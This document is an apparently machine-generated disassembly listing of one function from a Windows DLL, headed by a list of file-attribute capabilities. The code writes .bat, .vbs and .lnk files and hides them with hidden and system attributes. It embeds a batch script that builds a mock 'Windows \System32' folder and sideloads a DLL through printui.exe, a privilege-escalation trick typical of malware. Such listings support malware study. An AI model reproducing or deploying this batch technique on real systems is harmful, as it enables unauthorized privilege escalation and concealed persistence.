Function at 0x180056f20
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
mov qword [rsp + 0x18], rbx
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x6a0
movaps xmmword [rsp + 0x690], xmm6
mov rax, qword [0x18018c280]
xor rax, rsp
mov qword [rsp + 0x680], rax
mov r14, rdx
mov r15, rcx
xor ebx, ebx
lea r12, [0x18016f940]
mov qword [rsp + 0x150], r12
mov qword [rsp + 0x158], 5
mov rcx, rdx
cmp qword [rdx + 0x18], 7
jbe 0x180056f7e
mov rcx, qword [rdx]
mov rax, qword [rdx + 0x10]
mov qword [rsp + 0x110], rcx
mov qword [rsp + 0x118], rax
movups xmm0, xmmword [rsp + 0x110]
movups xmmword [rsp + 0xb0], xmm0
movabs rdi, 0xc000000000000000
mov qword [rsp + 0xa0], rdi
mov rcx, r15
cmp qword [r15 + 0x18], 7
jbe 0x180056fc1
mov rcx, qword [r15]
mov rax, qword [r15 + 0x10]
mov qword [rsp + 0x110], rcx
mov qword [rsp + 0x118], rax
movups xmm0, xmmword [rsp + 0x110]
movups xmmword [rsp + 0xc0], xmm0
movabs rsi, 0xc000000000000010
mov qword [rsp + 0xa8], rsi
mov qword [rsp + 0x110], 2
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x118], rax
movaps xmm0, xmmword [rsp + 0x110]
movdqa xmmword [rsp + 0x110], xmm0
movaps xmm1, xmmword [rsp + 0x150]
movdqa xmmword [rsp + 0x150], xmm1
lea r8, [rsp + 0x110]
lea rdx, [rsp + 0x150]
lea rcx, [rsp + 0x170]
call fcn.18000d210
nop
mov qword [rsp + 0x150], r12
mov qword [rsp + 0x158], 5
mov rdx, r14
cmp qword [r14 + 0x18], 7
jbe 0x180057074
mov rdx, qword [r14]
mov rax, qword [r14 + 0x10]
mov qword [rsp + 0x110], rdx
mov qword [rsp + 0x118], rax
movups xmm0, xmmword [rsp + 0x110]
movups xmmword [rsp + 0xb0], xmm0
mov qword [rsp + 0xa0], rdi
lea rdx, [r14 + 0x20]
cmp qword [r14 + 0x38], 7
jbe 0x1800570af
mov rdx, qword [r14 + 0x20]
mov rax, qword [r14 + 0x30]
mov qword [rsp + 0x110], rdx
mov qword [rsp + 0x118], rax
movups xmm0, xmmword [rsp + 0x110]
movups xmmword [rsp + 0xc0], xmm0
mov qword [rsp + 0xa8], rsi
mov qword [rsp + 0x110], 2
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x118], rax
movaps xmm0, xmmword [rsp + 0x110]
movdqa xmmword [rsp + 0x110], xmm0
movaps xmm1, xmmword [rsp + 0x150]
movdqa xmmword [rsp + 0x150], xmm1
lea r8, [rsp + 0x110]
lea rdx, [rsp + 0x150]
lea rcx, [rsp + 0x190]
call fcn.18000d210
nop
lea rcx, [rsp + 0x250]
call fcn.1800054f0
mov rdx, rax
lea rax, [0x18016f970]
mov qword [rsp + 0x150], rax
mov qword [rsp + 0x158], 9
lea rcx, [rsp + 0x170]
cmp qword [rsp + 0x188], 7
cmova rcx, qword [rsp + 0x170]
mov qword [rsp + 0x110], rcx
mov rax, qword [rsp + 0x180]
mov qword [rsp + 0x118], rax
movups xmm0, xmmword [rsp + 0x110]
movups xmmword [rsp + 0xb0], xmm0
mov qword [rsp + 0xa0], rdi
mov rcx, rdx
cmp qword [rdx + 0x18], 7
jbe 0x1800571b9
mov rcx, qword [rdx]
mov rax, qword [rdx + 0x10]
mov qword [rsp + 0x110], rcx
mov qword [rsp + 0x118], rax
movups xmm0, xmmword [rsp + 0x110]
movups xmmword [rsp + 0xc0], xmm0
mov qword [rsp + 0xa8], rsi
mov qword [rsp + 0x110], 2
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x118], rax
movaps xmm0, xmmword [rsp + 0x110]
movdqa xmmword [rsp + 0x110], xmm0
movaps xmm1, xmmword [rsp + 0x150]
movdqa xmmword [rsp + 0x150], xmm1
lea r8, [rsp + 0x110]
lea rdx, [rsp + 0x150]
lea rcx, [rsp + 0x1f0]
call fcn.18000d210
nop
mov rdx, qword [rsp + 0x268]
cmp rdx, 7
jbe 0x180057289
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x250]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180057284
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180059002
call fcn.1800918d0
movdqa xmm6, xmmword [0x180171c00]
movdqu xmmword [rsp + 0x260], xmm6
mov word [rsp + 0x250], bx
lea rcx, [rsp + 0x2d0]
call fcn.1800054f0
mov rdx, rax
lea rax, str..bat
mov qword [rsp + 0x150], rax
mov qword [rsp + 0x158], 9
lea rcx, [rsp + 0x170]
cmp qword [rsp + 0x188], 7
cmova rcx, qword [rsp + 0x170]
mov qword [rsp + 0x110], rcx
mov rax, qword [rsp + 0x180]
mov qword [rsp + 0x118], rax
movups xmm0, xmmword [rsp + 0x110]
movups xmmword [rsp + 0xb0], xmm0
mov qword [rsp + 0xa0], rdi
mov rcx, rdx
cmp qword [rdx + 0x18], 7
jbe 0x180057324
mov rcx, qword [rdx]
mov rax, qword [rdx + 0x10]
mov qword [rsp + 0x110], rcx
mov qword [rsp + 0x118], rax
movups xmm0, xmmword [rsp + 0x110]
movups xmmword [rsp + 0xc0], xmm0
mov qword [rsp + 0xa8], rsi
mov qword [rsp + 0x110], 2
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x118], rax
movaps xmm0, xmmword [rsp + 0x110]
movdqa xmmword [rsp + 0x110], xmm0
movaps xmm1, xmmword [rsp + 0x150]
movdqa xmmword [rsp + 0x150], xmm1
lea r8, [rsp + 0x110]
lea rdx, [rsp + 0x150]
lea rcx, [rsp + 0x1d0]
call fcn.18000d210
nop
mov rdx, qword [rsp + 0x2e8]
cmp rdx, 7
jbe 0x1800573f4
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x2d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800573ef
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180059008
call fcn.1800918d0
movdqu xmmword [rsp + 0x2e0], xmm6
mov word [rsp + 0x2d0], bx
lea rcx, [rsp + 0x250]
call fcn.1800054f0
mov rdx, rax
lea rax, str..vbs
mov qword [rsp + 0x150], rax
mov qword [rsp + 0x158], 9
lea rcx, [rsp + 0x170]
cmp qword [rsp + 0x188], 7
cmova rcx, qword [rsp + 0x170]
mov qword [rsp + 0x110], rcx
mov rax, qword [rsp + 0x180]
mov qword [rsp + 0x118], rax
movups xmm0, xmmword [rsp + 0x110]
movups xmmword [rsp + 0xb0], xmm0
mov qword [rsp + 0xa0], rdi
mov rcx, rdx
cmp qword [rdx + 0x18], 7
jbe 0x180057487
mov rcx, qword [rdx]
mov rax, qword [rdx + 0x10]
mov qword [rsp + 0x110], rcx
mov qword [rsp + 0x118], rax
movups xmm0, xmmword [rsp + 0x110]
movups xmmword [rsp + 0xc0], xmm0
mov qword [rsp + 0xa8], rsi
mov qword [rsp + 0x110], 2
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x118], rax
movaps xmm0, xmmword [rsp + 0x110]
movdqa xmmword [rsp + 0x110], xmm0
movaps xmm1, xmmword [rsp + 0x150]
movdqa xmmword [rsp + 0x150], xmm1
lea r8, [rsp + 0x110]
lea rdx, [rsp + 0x150]
lea rcx, [rsp + 0x2b0]
call fcn.18000d210
nop
mov rdx, qword [rsp + 0x268]
cmp rdx, 7
jbe 0x180057557
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x250]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180057552
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18005900e
call fcn.1800918d0
movdqu xmmword [rsp + 0x260], xmm6
mov word [rsp + 0x250], bx
mov qword [rsp + 0x150], r12
mov qword [rsp + 0x158], 5
lea rax, [rsp + 0x170]
cmp qword [rsp + 0x188], 7
cmova rax, qword [rsp + 0x170]
mov qword [rsp + 0x110], rax
mov rax, qword [rsp + 0x180]
mov qword [rsp + 0x118], rax
movups xmm0, xmmword [rsp + 0x110]
movups xmmword [rsp + 0xb0], xmm0
mov qword [rsp + 0xa0], rdi
lea rdx, [r15 + 0x20]
cmp qword [r15 + 0x38], 7
jbe 0x1800575d5
mov rdx, qword [r15 + 0x20]
mov rax, qword [r15 + 0x30]
mov qword [rsp + 0x110], rdx
mov qword [rsp + 0x118], rax
movups xmm0, xmmword [rsp + 0x110]
movups xmmword [rsp + 0xc0], xmm0
mov qword [rsp + 0xa8], rsi
mov qword [rsp + 0x110], 2
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x118], rax
movaps xmm0, xmmword [rsp + 0x110]
movdqa xmmword [rsp + 0x110], xmm0
movaps xmm1, xmmword [rsp + 0x150]
movdqa xmmword [rsp + 0x150], xmm1
lea r8, [rsp + 0x110]
lea rdx, [rsp + 0x150]
lea rcx, [rsp + 0x290]
call fcn.18000d210
nop
lea rax, str..lnk
mov qword [rsp + 0x150], rax
mov qword [rsp + 0x158], 9
mov rdx, r14
cmp qword [r14 + 0x18], 7
jbe 0x180057685
mov rdx, qword [r14]
mov rax, qword [r14 + 0x10]
mov qword [rsp + 0x110], rdx
mov qword [rsp + 0x118], rax
movups xmm0, xmmword [rsp + 0x110]
movups xmmword [rsp + 0xb0], xmm0
mov qword [rsp + 0xa0], rdi
lea rdx, [r14 + 0x20]
cmp qword [r14 + 0x38], 7
jbe 0x1800576c0
mov rdx, qword [r14 + 0x20]
mov rax, qword [r14 + 0x30]
mov qword [rsp + 0x110], rdx
mov qword [rsp + 0x118], rax
movups xmm0, xmmword [rsp + 0x110]
movups xmmword [rsp + 0xc0], xmm0
mov qword [rsp + 0xa8], rsi
mov qword [rsp + 0x110], 2
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x118], rax
movaps xmm0, xmmword [rsp + 0x110]
movdqa xmmword [rsp + 0x110], xmm0
movaps xmm1, xmmword [rsp + 0x150]
movdqa xmmword [rsp + 0x150], xmm1
lea r8, [rsp + 0x110]
lea rdx, [rsp + 0x150]
lea rcx, [rsp + 0x230]
call fcn.18000d210
nop
lea rdx, [r15 + 0x60]
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 7
jbe 0x18005775a
mov rdx, qword [rdx]
xorps xmm0, xmm0
movups xmmword [rsp + 0x130], xmm0
mov qword [rsp + 0x140], rbx
mov qword [rsp + 0x148], rbx
lea rcx, [rsp + 0x130]
call fcn.18000acf0
nop
mov r8d, 3
lea rdx, [rsp + 0x130]
lea rcx, [rsp + 0x110]
call fcn.180021d60
movsd xmm0, qword [rax]
movsd qword [rsp + 0x150], xmm0
mov ecx, dword [rax + 8]
mov dword [rsp + 0x110], ecx
lea r12, [0x18018d290]
mov qword [rsp + 0x118], r12
movaps xmm0, xmmword [rsp + 0x110]
movdqa xmmword [rsp + 0x110], xmm0
mov eax, dword [rsp + 0x150]
test eax, eax
je 0x18005782c
cmp eax, 1
sete dil
mov rdx, qword [rsp + 0x148]
cmp rdx, 7
jbe 0x18005783e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x130]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180057839
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180059014
jmp 0x180057839
mov dil, 1
test ecx, ecx
jne 0x18005901a
jmp 0x1800577e7
call fcn.1800918d0
test dil, dil
je 0x180057afb
mov eax, ebx
xchg byte [r15 + 0xc0], al
mov rdx, qword [rsp + 0x248]
cmp rdx, 7
jbe 0x180057898
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x230]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180057893
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180059037
call fcn.1800918d0
mov qword [rsp + 0x240], rbx
mov qword [rsp + 0x248], 7
mov word [rsp + 0x230], bx
mov rdx, qword [rsp + 0x2a8]
cmp rdx, 7
jbe 0x1800578fc
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x290]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800578f7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18005903d
call fcn.1800918d0
movdqu xmmword [rsp + 0x2a0], xmm6
mov word [rsp + 0x290], bx
mov rdx, qword [rsp + 0x2c8]
cmp rdx, 7
jbe 0x180057955
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x2b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180057950
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180059043
call fcn.1800918d0
movdqu xmmword [rsp + 0x2c0], xmm6
mov word [rsp + 0x2b0], bx
mov rdx, qword [rsp + 0x1e8]
cmp rdx, 7
jbe 0x1800579ae
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x1d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800579a9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180059049
call fcn.1800918d0
mov qword [rsp + 0x1e0], rbx
mov qword [rsp + 0x1e8], 7
mov word [rsp + 0x1d0], bx
mov rdx, qword [rsp + 0x208]
cmp rdx, 7
jbe 0x180057a12
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x1f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180057a0d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18005904f
call fcn.1800918d0
mov qword [rsp + 0x200], rbx
mov qword [rsp + 0x208], 7
mov word [rsp + 0x1f0], bx
mov rdx, qword [rsp + 0x1a8]
cmp rdx, 7
jbe 0x180057a76
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x190]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180057a71
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180059055
call fcn.1800918d0
mov qword [rsp + 0x1a0], rbx
mov qword [rsp + 0x1a8], 7
mov word [rsp + 0x190], bx
mov rdx, qword [rsp + 0x188]
cmp rdx, 7
jbe 0x180057ada
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x170]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180057ad5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18005905b
call fcn.1800918d0
mov qword [rsp + 0x180], rbx
mov qword [rsp + 0x188], 7
mov word [rsp + 0x170], bx
jmp 0x180058fd2
lea rdx, [rsp + 0x1f0]
cmp qword [rsp + 0x208], 7
cmova rdx, qword [rsp + 0x1f0]
xorps xmm0, xmm0
movups xmmword [rsp + 0x2f0], xmm0
mov qword [rsp + 0x300], rbx
mov qword [rsp + 0x308], rbx
mov r8, qword [rsp + 0x200]
lea rcx, [rsp + 0x2f0]
call fcn.18000acf0
nop
lea rdx, [rsp + 0x1d0]
cmp qword [rsp + 0x1e8], 7
cmova rdx, qword [rsp + 0x1d0]
xorps xmm0, xmm0
movups xmmword [rsp + 0x270], xmm0
mov qword [rsp + 0x280], rbx
mov qword [rsp + 0x288], rbx
mov r8, qword [rsp + 0x1e0]
lea rcx, [rsp + 0x270]
call fcn.18000acf0
nop
lea rcx, [rsp + 0x2f0]
cmp qword [rsp + 0x308], 7
cmova rcx, qword [rsp + 0x2f0]
mov rax, qword [rsp + 0x300]
lea rsi, [rcx + rax*2]
mov rdi, rsi
mov rdx, rsi
call fcn.180020440
cmp rax, rsi
je 0x180057c0b
movzx ecx, word [rax]
cmp cx, 0x5c
je 0x180057bd6
cmp cx, 0x2f
jne 0x180057bdf
add rax, 2
cmp rax, rsi
jne 0x180057bc7
cmp rax, rsi
je 0x180057c0b
nop dword [rax]
nop dword [rax + rax]
lea rdx, [rdi - 2]
movzx ecx, word [rdx]
cmp cx, 0x5c
je 0x180057c0b
cmp cx, 0x2f
je 0x180057c0b
mov rdi, rdx
cmp rax, rdx
jne 0x180057bf0
sub rsi, rdi
sar rsi, 1
xorps xmm0, xmm0
movups xmmword [rsp + 0x130], xmm0
mov qword [rsp + 0x140], rbx
mov qword [rsp + 0x148], rbx
mov r8, rsi
mov rdx, rdi
lea rcx, [rsp + 0x130]
call fcn.18000acf0
nop
lea rdx, [rsp + 0x130]
lea rcx, [rsp + 0x310]
call fcn.180006670
nop
mov rdx, qword [rsp + 0x148]
cmp rdx, 7
jbe 0x180057c9e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x130]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180057c99
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180059122
call fcn.1800918d0
lea rcx, [rsp + 0x270]
cmp qword [rsp + 0x288], 7
cmova rcx, qword [rsp + 0x270]
mov rax, qword [rsp + 0x280]
lea rsi, [rcx + rax*2]
mov rdi, rsi
mov rdx, rsi
call fcn.180020440
cmp rax, rsi
je 0x180057d0c
movzx ecx, word [rax]
cmp cx, 0x5c
je 0x180057ce3
cmp cx, 0x2f
jne 0x180057cec
add rax, 2
cmp rax, rsi
jne 0x180057cd4
cmp rax, rsi
je 0x180057d0c
lea rdx, [rdi - 2]
movzx ecx, word [rdx]
cmp cx, 0x5c
je 0x180057d0c
cmp cx, 0x2f
je 0x180057d0c
mov rdi, rdx
cmp rax, rdx
jne 0x180057cf1
sub rsi, rdi
sar rsi, 1
xorps xmm0, xmm0
movups xmmword [rsp + 0x130], xmm0
mov qword [rsp + 0x140], rbx
mov qword [rsp + 0x148], rbx
mov r8, rsi
mov rdx, rdi
lea rcx, [rsp + 0x130]
call fcn.18000acf0
nop
lea rdx, [rsp + 0x130]
lea rcx, [rsp + 0x250]
call fcn.180006670
nop
mov rdx, qword [rsp + 0x148]
cmp rdx, 7
jbe 0x180057d9f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x130]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180057d9a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18005911c
call fcn.1800918d0
lea rdx, [rsp + 0x170]
cmp qword [rsp + 0x188], 7
cmova rdx, qword [rsp + 0x170]
xorps xmm0, xmm0
movups xmmword [rsp + 0x130], xmm0
mov qword [rsp + 0x140], rbx
mov qword [rsp + 0x148], rbx
mov r8, qword [rsp + 0x180]
lea rcx, [rsp + 0x130]
call fcn.18000acf0
nop
mov r8d, 3
lea rdx, [rsp + 0x130]
lea rcx, [rsp + 0x110]
call fcn.180021d60
movsd xmm0, qword [rax]
movsd qword [rsp + 0x150], xmm0
mov ecx, dword [rax + 8]
mov dword [rsp + 0x110], ecx
mov qword [rsp + 0x118], r12
movaps xmm0, xmmword [rsp + 0x110]
movdqa xmmword [rsp + 0x110], xmm0
mov eax, dword [rsp + 0x150]
test eax, eax
je 0x180057e8c
cmp eax, 1
setne dil
mov rdx, qword [rsp + 0x148]
cmp rdx, 7
jbe 0x180057e9e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x130]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180057e99
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180059061
jmp 0x180057e99
xor dil, dil
test ecx, ecx
jne 0x180059067
jmp 0x180057e47
call fcn.1800918d0
test dil, dil
je 0x180057ed4
lea rdx, [rsp + 0x170]
lea rcx, [rsp + 0x210]
call fcn.180026690
nop
lea rcx, [rsp + 0x210]
call fcn.180055270
nop
lea rcx, [rsp + 0x210]
call fcn.180006600
lea rdx, [rsp + 0x230]
cmp qword [rsp + 0x248], 7
cmova rdx, qword [rsp + 0x230]
xorps xmm0, xmm0
movups xmmword [rsp + 0x130], xmm0
mov qword [rsp + 0x140], rbx
mov qword [rsp + 0x148], rbx
mov r8, qword [rsp + 0x240]
lea rcx, [rsp + 0x130]
call fcn.18000acf0
nop
mov r8d, 3
lea rdx, [rsp + 0x130]
lea rcx, [rsp + 0x110]
call fcn.180021d60
movsd xmm0, qword [rax]
movsd qword [rsp + 0x150], xmm0
mov ecx, dword [rax + 8]
mov dword [rsp + 0x110], ecx
mov qword [rsp + 0x118], r12
movaps xmm0, xmmword [rsp + 0x110]
movdqa xmmword [rsp + 0x110], xmm0
mov eax, dword [rsp + 0x150]
test eax, eax
je 0x180057fc1
cmp eax, 1
setne dil
mov rdx, qword [rsp + 0x148]
cmp rdx, 7
jbe 0x180057fd3
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x130]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180057fce
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180059084
jmp 0x180057fce
xor dil, dil
test ecx, ecx
jne 0x18005908a
jmp 0x180057f7c
call fcn.1800918d0
test dil, dil
je 0x180058009
lea rdx, [rsp + 0x230]
lea rcx, [rsp + 0x210]
call fcn.180026690
nop
lea rcx, [rsp + 0x210]
call fcn.180046f30
nop
lea rcx, [rsp + 0x210]
call fcn.180006600
lea rdx, [rsp + 0x170]
cmp qword [rsp + 0x188], 7
cmova rdx, qword [rsp + 0x170]
xorps xmm0, xmm0
movups xmmword [rsp + 0x110], xmm0
mov qword [rsp + 0x120], rbx
mov qword [rsp + 0x128], rbx
mov r8, qword [rsp + 0x180]
lea rcx, [rsp + 0x110]
call fcn.18000acf0
nop
lea rcx, [rsp + 0x110]
cmp qword [rsp + 0x128], 7
cmova rcx, qword [rsp + 0x110]
call fcn.18008ff3c
mov rdx, rax
shr rax, 0x20
test eax, eax
jne 0x1800590a7
mov rdx, qword [rsp + 0x128]
cmp rdx, 7
jbe 0x1800580ca
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x110]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800580c5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800590c0
call fcn.1800918d0
lea rdx, [rsp + 0x190]
cmp qword [rsp + 0x1a8], 7
cmova rdx, qword [rsp + 0x190]
xorps xmm0, xmm0
movups xmmword [rsp + 0x130], xmm0
mov qword [rsp + 0x140], rbx
mov qword [rsp + 0x148], rbx
mov r8, qword [rsp + 0x1a0]
lea rcx, [rsp + 0x130]
call fcn.18000acf0
nop
mov r8d, 3
lea rdx, [rsp + 0x130]
lea rcx, [rsp + 0x110]
call fcn.180021d60
movsd xmm0, qword [rax]
movsd qword [rsp + 0x150], xmm0
mov ecx, dword [rax + 8]
mov dword [rsp + 0x110], ecx
mov qword [rsp + 0x118], r12
movaps xmm0, xmmword [rsp + 0x110]
movdqa xmmword [rsp + 0x110], xmm0
mov eax, dword [rsp + 0x150]
test eax, eax
je 0x1800581b7
cmp eax, 1
sete dil
mov rdx, qword [rsp + 0x148]
cmp rdx, 7
jbe 0x1800581c9
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x130]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800581c4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800590c6
jmp 0x1800581c4
mov dil, 1
test ecx, ecx
jne 0x1800590cc
jmp 0x180058172
call fcn.1800918d0
test dil, dil
je 0x1800581ff
lea rdx, [rsp + 0x190]
lea rcx, [rsp + 0x210]
call fcn.180026690
nop
lea rcx, [rsp + 0x210]
call fcn.180046f80
nop
lea rcx, [rsp + 0x210]
call fcn.180006600
lea rcx, [rsp + 0x190]
cmp qword [rsp + 0x1a8], 7
cmova rcx, qword [rsp + 0x190]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x18005824d
test al, 4
jne 0x18005824d
lea rcx, [rsp + 0x190]
cmp qword [rsp + 0x1a8], 7
cmova rcx, qword [rsp + 0x190]
mov edx, 6
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea rcx, [rsp + 0x170]
cmp qword [rsp + 0x188], 7
cmova rcx, qword [rsp + 0x170]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x18005829b
test al, 4
jne 0x18005829b
lea rcx, [rsp + 0x170]
cmp qword [rsp + 0x188], 7
cmova rcx, qword [rsp + 0x170]
mov edx, 6
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea rdx, [rsp + 0x1f0]
cmp qword [rsp + 0x208], 7
cmova rdx, qword [rsp + 0x1f0]
xorps xmm0, xmm0
movups xmmword [rsp + 0x130], xmm0
mov qword [rsp + 0x140], rbx
mov qword [rsp + 0x148], rbx
mov r8, qword [rsp + 0x200]
lea rcx, [rsp + 0x130]
call fcn.18000acf0
nop
lea rdx, [r15 + 0x60]
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 7
jbe 0x1800582f8
mov rdx, qword [rdx]
xorps xmm0, xmm0
movups xmmword [rsp + 0x110], xmm0
mov qword [rsp + 0x120], rbx
mov qword [rsp + 0x128], rbx
lea rcx, [rsp + 0x110]
call fcn.18000acf0
nop
lea rdx, [rsp + 0x130]
cmp qword [rsp + 0x148], 7
cmova rdx, qword [rsp + 0x130]
lea rcx, [rsp + 0x110]
cmp qword [rsp + 0x128], 7
cmova rcx, qword [rsp + 0x110]
xor r8d, r8d
call fcn.18008fc84
mov rdx, rax
shr rax, 0x20
test eax, eax
jne 0x1800590e9
mov rdx, qword [rsp + 0x128]
cmp rdx, 7
jbe 0x1800583b4
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x110]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800583af
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18005910a
call fcn.1800918d0
movdqu xmmword [rsp + 0x120], xmm6
mov word [rsp + 0x110], bx
mov rdx, qword [rsp + 0x148]
cmp rdx, 7
jbe 0x18005840d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x130]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180058408
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180059110
call fcn.1800918d0
xorps xmm0, xmm0
movups xmmword [rsp + 0x1b0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x1c0], xmm1
mov r8d, reloc.LIBPQ.dll_Ordinal_14
lea rdx, str._SystemDrive__
lea rcx, [rsp + 0x1b0]
call fcn.18000acf0
nop
mov eax, dword [r14 + 0x40]
test eax, eax
jne 0x180058870
lea rdx, [rsp + 0x190]
lea rcx, [rsp + 0xa0]
call fcn.180026690
nop
lea rdx, [rsp + 0xf0]
mov rcx, rax
call fcn.180020850
nop
lea rdx, [rsp + 0xd0]
mov rcx, rax
call fcn.180020830
nop
lea rcx, str._echo_off_r_nchcp_65001_r_nexplorer__..__r_nif_not_exist__Windows_System32010101____r_n_tif_exist__Windows_System32__rmdir__S__Q___Windows___r_n_tmkdir___Windows_System32__r_n_tmkdir__Windows_System32010101__r_n_txcopy__WindowsSystem32printui.exe___Windows_System32___Y_r_n_txcopy_____Windows_System32___Y_r_n_tren__Windows_System32___printui.dll__r_n_tif_exist__Windows_System32printui.exe____r_n_t_tif_exist__Windows_System32printui.dll____r_n_t_t_tstart_____Windows_System32printui.exe__r_n_t_t__else_rmdir__S__Q___Windows___r_n_t__else_rmdir__S__Q___Windows___r_n_
mov qword [rsp + 0x110], rcx
mov qword [rsp + 0x118], 0x24c
lea rcx, [rsp + 0x1b0]
mov qword [rsp + 0x90], rcx
lea rcx, [rsp + 0x1b0]
mov qword [rsp + 0x88], rcx
lea rcx, [rsp + 0x1b0]
mov qword [rsp + 0x80], rcx
lea rcx, [rsp + 0x1b0]
mov qword [rsp + 0x78], rcx
lea rcx, [rsp + 0x1b0]
mov qword [rsp + 0x70], rcx
lea rcx, [rsp + 0x310]
mov qword [rsp + 0x68], rcx
lea rcx, [rsp + 0x1b0]
mov qword [rsp + 0x60], rcx
lea rcx, [rsp + 0x1b0]
mov qword [rsp + 0x58], rcx
lea rcx, [rsp + 0x310]
mov qword [rsp + 0x50], rcx
lea rcx, [rsp + 0x1b0]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x1b0]
mov qword [rsp + 0x40], rcx
lea rcx, [rsp + 0x1b0]
mov qword [rsp + 0x38], rcx
lea rcx, [rsp + 0x1b0]
mov qword [rsp + 0x30], rcx
lea rcx, [rsp + 0x1b0]
mov qword [rsp + 0x28], rcx
lea rcx, [rsp + 0x1b0]
mov qword [rsp + 0x20], rcx
lea r9, [rsp + 0x1b0]
mov r8, rax
lea rdx, [rsp + 0x110]
lea rcx, [rsp + 0x330]
call fcn.18005c6a0
nop
